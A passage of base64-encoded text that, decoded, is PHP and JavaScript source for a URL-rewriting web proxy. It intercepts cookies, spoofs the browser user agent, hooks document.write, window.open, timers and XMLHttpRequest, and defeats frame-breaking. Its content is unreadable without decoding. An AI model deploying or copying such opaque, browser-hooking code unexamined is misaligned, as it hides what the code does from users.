zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F